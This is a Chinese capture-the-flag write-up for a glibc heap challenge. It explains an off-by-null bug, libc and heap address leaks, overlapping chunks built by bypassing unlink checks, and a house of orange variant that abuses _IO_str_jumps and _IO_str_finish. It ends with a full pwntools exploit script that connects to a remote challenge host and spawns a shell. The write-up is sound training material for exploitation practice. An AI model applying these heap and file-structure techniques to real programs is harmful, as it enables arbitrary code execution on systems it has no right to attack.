这道题是house of orange的一个进化版
所以还是有必要先去看看简单的house of orange是怎样去走的。
可以去看攻防世界的另外一道题。
攻防世界 houseoforange
保护一片绿。
菜单堆。
alloc
申请重点是202060、202040、202048.
202060这里就是记录着申请chunk的大小跟指针,202040记录的是最近的一个申请的大小跟指针,202048记录着的就是申请的个数。
还要重点注意的是,申请前两个chunk的时候用的是malloc,但是之后的都是用的calloc,这就导致我们泄露地址啥的,只能通过前两个申请的chunk来完成这个事情。
delete
删的还是很干净的。
fill
仔细看看有个off by bull
show
平平无奇输出函数。
fill跟show只针对最新申请到的那一个。
这个题唯一的一个漏洞是一个off by null,遇到这种漏洞想的就是制造一个overlap,然后可以泄露地址,可以制造fastbin attack等等,但是这个题对它的输入输出有限制,不是像以前一样只要申请到的chunk就可以随便写啥的。回顾一下以前的利用方法,就是通过A B C D四个chunk,对B造成overlap,造成的效果就是把B挂在bins里面,但是还是能够对他的输入输出做控制。
但是这个题不行,因为我们能够通过off by null制造overlap,但是我们没有办法对他的输入输出做一个控制,仅仅是能够输入,输出最新申请的那个chunk。
那么我们的利用只能是通过top chunk
首先是泄露libc的地址,这个比较简单,先申请两个chunk,A,B,然后释放A,A里面就会有libc的地址,然后再申请回来输出一下就好了。
然后再来泄露heap的地址,这个需要用到large bin。
因为这个输出对内容有要求,而且有那个off by one漏洞,所以我们利用large的方法也就受到了很大的限制,只能够通过先让large chunk挂到链中,然后想办法申请的时候让fd_nextsize的那个数据放在我们申请到的chunk的fd的位置这种方法。因为我们如果想着通过填充fd到fd_nextsize,read函数最后还是会读入一个’\x00’,还是达不到输出的一个目的。
所以我们用的方法是先通过申请两个chunk,A是0x80,B是0x400,C是0x80,说一下作用,A是用来调整来达到我们fd_nextsize去了fd的一个chunk,B的话就是large chunk,挂进去来获得heap的地址,C就是防止合并。具体操作是我们先申请A,B,C,再释放B,再申请一个0x500的D,用来触发malloc_consolidate,然后就会把B那个chunk挂到large bin里面,然后D释放掉。
现在堆长这样。
然后我们想的是能够申请到一个chunk,这个chunk的fd位置对应B的fd_nextsize,所以我们先把A C都释放掉,让他们进入topchunk,然后申请0x90的chunk,这个时候第一个chunk比之前多了0x10,那么下一个chunk申请的时候就会fd地方对应fd_nextsize,然后就可以获得heap的地址。
要注意泄露只来的heap地址,也就是fd_nextsize里面放着的是上图中B的fd_nextsize的位置,离真正的heap_base差了0x
B0,减去就好。
然后我们就需要通过off by one来构造这样的一个形式,然后我们可以通过外层来写内层,一种堆溢出的效果,来通过house of orange来完成这个题。
构造过程如下。我们大概把它分成三步。
第一步的目的是通过off by null,制造一个overlapping。这个overlapping把topchunk包在了里面。
先申请一个A,在A里面进行chunk的伪造,伪造一个D,然后申请B,C,B是一会被overlap的chunk,我们要通过B来往C里面写东西,来使得释放C的时候能unlink,然后制造overlap。
但是因为最近申请的chunk是C,不能写B,所以需要把B释放掉,再申请回来,然后往里面东西,然后释放掉C,把D,B连在一起。
在写数据的时候我们需要绕过unlink的两个检查。
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
所以C的pre_size位要等于B+D,绕过第一个检查
以前绕过第二个检查都是
p->fd = &p-3*4
p->bk = &p-2*4
通过它来进行unlink攻击,但是现在因为我们没有&p,所以只能通过第二种方式。
p->fd = p
p->bk = p
此时我们要注意,top chunk在D的地方,而且A B是used的。
第二步我们我们要把topchunk提起来,也就是把A B再释放回去,因为我们在做unlink的时候,chunk中的信息都被清理了,而且我们不能通过正常释放方式把topchunk提起来。我们这里采用的方法就是把D申请过来,大小要合适,让topchunk到了C的地方,把里面的数据复原,释放A B然后把它提起来。
这个时候 A B C都是free状态 D是used。
提起来为点啥?我们来到第三步。我们现在有的是什么,top chunk提到了最上面,然后我们可以控制中间的一个chunk。我们回到目标,想要制造那样的两个在unsorted bin中的chunk,而且是内外层结构。我们现在如果可以把D那个地方的chunk释放掉,那么就已经有了内层,但是我们释放不掉,因为前面free A B的时候里面chunk的信息清理掉了。
所以我们通过从top chunk中申请chunk,来对D那个地方的chunk伪造信息。但是我们要注意伪造的时候要伪造好。
D那里大小要伪造成0x90,这样释放后就会在unsorted bin,然后后面需要再放一个chunk,它的大小必须正好能把A填满,就是这个chunk的下一个必须是B的那个地方,为什么?因为我们再free chunkD的时候,会对它的下一个进行检查,检查它的状态,怎么个检查法?就是查它的下一个的下一个的p位是否为1,如果我们不填满,那么它检查的时候找到的数据只能是C,C的最后一个比特是0,就会出问题。
下面这个图就是伪造好的。
最上面的0x21是它刚开始跑程序的时候自己申请的,可以不用理他。
然后我们就达到了我们预想的目的,有了那样的一个构造,但是其实那样构造的原因是什么,只不过是想通过外面的chunk向里面的chunk写东西,我们可以通过这种方式来接上house of orange。
然后呢我们首先应该考虑libc的版本,因为2.23之后会增加对vtable的检测。
libc 2.24.
libc新增了对vtable地址的检查,只能允许我们的vtable在合法的范围。
那我们要在构造vtable的时候利用_IO_str_jumps,因为这个地址符合它的检查。
所以我们在vtable的地方写上_IO_str_jumps - 0x8,然后后面跟上一个0,跟上system的地址。
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
_IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
所以我们最后总结一下利用方法。
这道题是针对_IO_str_finish的利用方式。
1、为绕过_IO_all_lokcp中的检查进入到_IO_OVERFLOW,需构造
_mode <= 0
_IO_write_ptr > _IO_write_base2、构造vtable = _IO_str_jumps - 0x8,使_IO_str_finish函数替代_IO_OVERFLOE函数,(因为_IO_str_finish在_IO_str_jumps中的偏移为0x10,而_IO_OVERFLOW在原vtable中的偏移为0x18)
3、构造fp -> _IO_buf_base作为参数
4、构造fp->flags & _IO_USER_BUF == 0
5、构造fp->_s._free_buffer为system或one_gadget (_free_buffer = fp + 0xe8)
6、调用_IO_flush_all_lokcp函数,触发(fp->_s._free_buffer) (fp->_IO_buf_base)
abort(如触发malloc报错时)
exit
从main函数返回
这道题我们是用的_IO_str_finish,当然我们可以利用另外一种,_IO_str_overflow
1、为绕过_IO_all_lokcp中的检查进入到_IO_OVERFLOW,需构造
_mode <= 0
_IO_write_ptr > _IO_write_base2、构造vtable = _IO_str_jumps ,使_IO_str_overflow函数替代_IO_OVERFLOE函数,(因为_IO_str_finish在_IO_str_jumps中的偏移为0x18,而_IO_OVERFLOW在原vtable中的偏移为0x18)
3、构造fp->flags & _IO_USER_BUF == 0 && fp->flags & _IO_NO_WRITES == 0
4、构造new_size = (fp->_IO_buf_end - fp -> _IO_buf_base) * 2 + 100 = binsh_addr
5、构造 fp->_s._allocate_buffer = &system ( fp->_s._allocate_buffer = fp + 0xe0)
abort(如触发malloc报错时)
exit
从main函数返回
#coding:utf8
from pwn import *
#r = process('./bufoverflow_a')
r = remote('111.200.241.244',59708)
#libc = ELF('./64/libc-2.23.so')
libc = ELF('./libc.so.6')
_IO_list_all = libc.sym['_IO_list_all']
malloc_hook = libc.sym['__malloc_hook']
system_addr = libc.sym['system']
bin_sh = libc.search('/bin/sh').next()
def create(size):
r.sendlineafter('>>','1')
r.sendlineafter('Size:',str(size))
def delete(index):
r.sendlineafter('>>','2')
r.sendlineafter('Index:',str(index))
def fill(content):
r.sendlineafter('>>','3')
r.sendafter('Content:',content)
def show():
r.sendlineafter('>>','4')
def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print possible_IO_str_jumps_offset
return possible_IO_str_jumps_offset
create(0x80) #0
create(0x80) #1
delete(0)
delete(1)
create(0x80) #0
show()
r.recv(1)
main_arena_xx = u64(r.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook & 0XFFF)
libc_base = malloc_hook_addr - malloc_hook
_IO_list_all_addr = libc_base + _IO_list_all
_IO_str_jumps_addr = libc_base + get_IO_str_jumps()
system_addr = libc_base + system_addr
bin_sh = libc_base + bin_sh
print 'libc_base=',hex(libc_base)
print '_IO_list_all_addr=',hex(_IO_list_all_addr)
print 'system_addr=',hex(system_addr)
create(0x400) #1
create(0x80) #2
delete(1)
create(0x500) #1
delete(1)
delete(2)
delete(0)
create(0x90) #0
create(0x80) #1
show()
r.recv(1)
heap_base = u64(r.recvuntil('\n',drop = True).ljust(8,'\x00')) - 0xB0
print 'heap_base=',hex(heap_base)
delete(0)
delete(1)
#0
create(0x208)
fake_chunk = 'a'*0x20
fake_chunk += p64(0) + p64(0x1E1)
#让fd=bk=p绕过检查
fake_chunk += p64(heap_base + 0x50)*2
fake_chunk = fake_chunk.ljust(0x200,'a')
fake_chunk += p64(0x1E0)
fill(fake_chunk)
create(0x80) #1
create(0xF0)
fill('b'*0xF0)
delete(1)
create(0x88) #1
fill('b'*0x80 + p64(0x270))
delete(2)
create(0x290) #2
fill('a'*0x1D0 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101) + '\n')
delete(1)
delete(0)
create(0x290) #0
fill('a'*0x20 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x151) + '\n')
delete(0) #得到外层unsorted bin
delete(2) #得到内层unsorted bin
create(0x290)
payload = 'a'*0x20
fake_file = p64(0) + p64(0x60)
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
fake_file += p64(0) + p64(1)
fake_file += p64(0) + p64(bin_sh)
fake_file = fake_file.ljust(0xD8,'\x00')
fake_file += p64(_IO_str_jumps_addr - 8)
fake_file += p64(0) + p64(system_addr)
payload += fake_file
payload += '\n'
fill(payload)
#getshell
create(0x80)
r.interactive()
exp可能一次跑不出来,要多跑几次。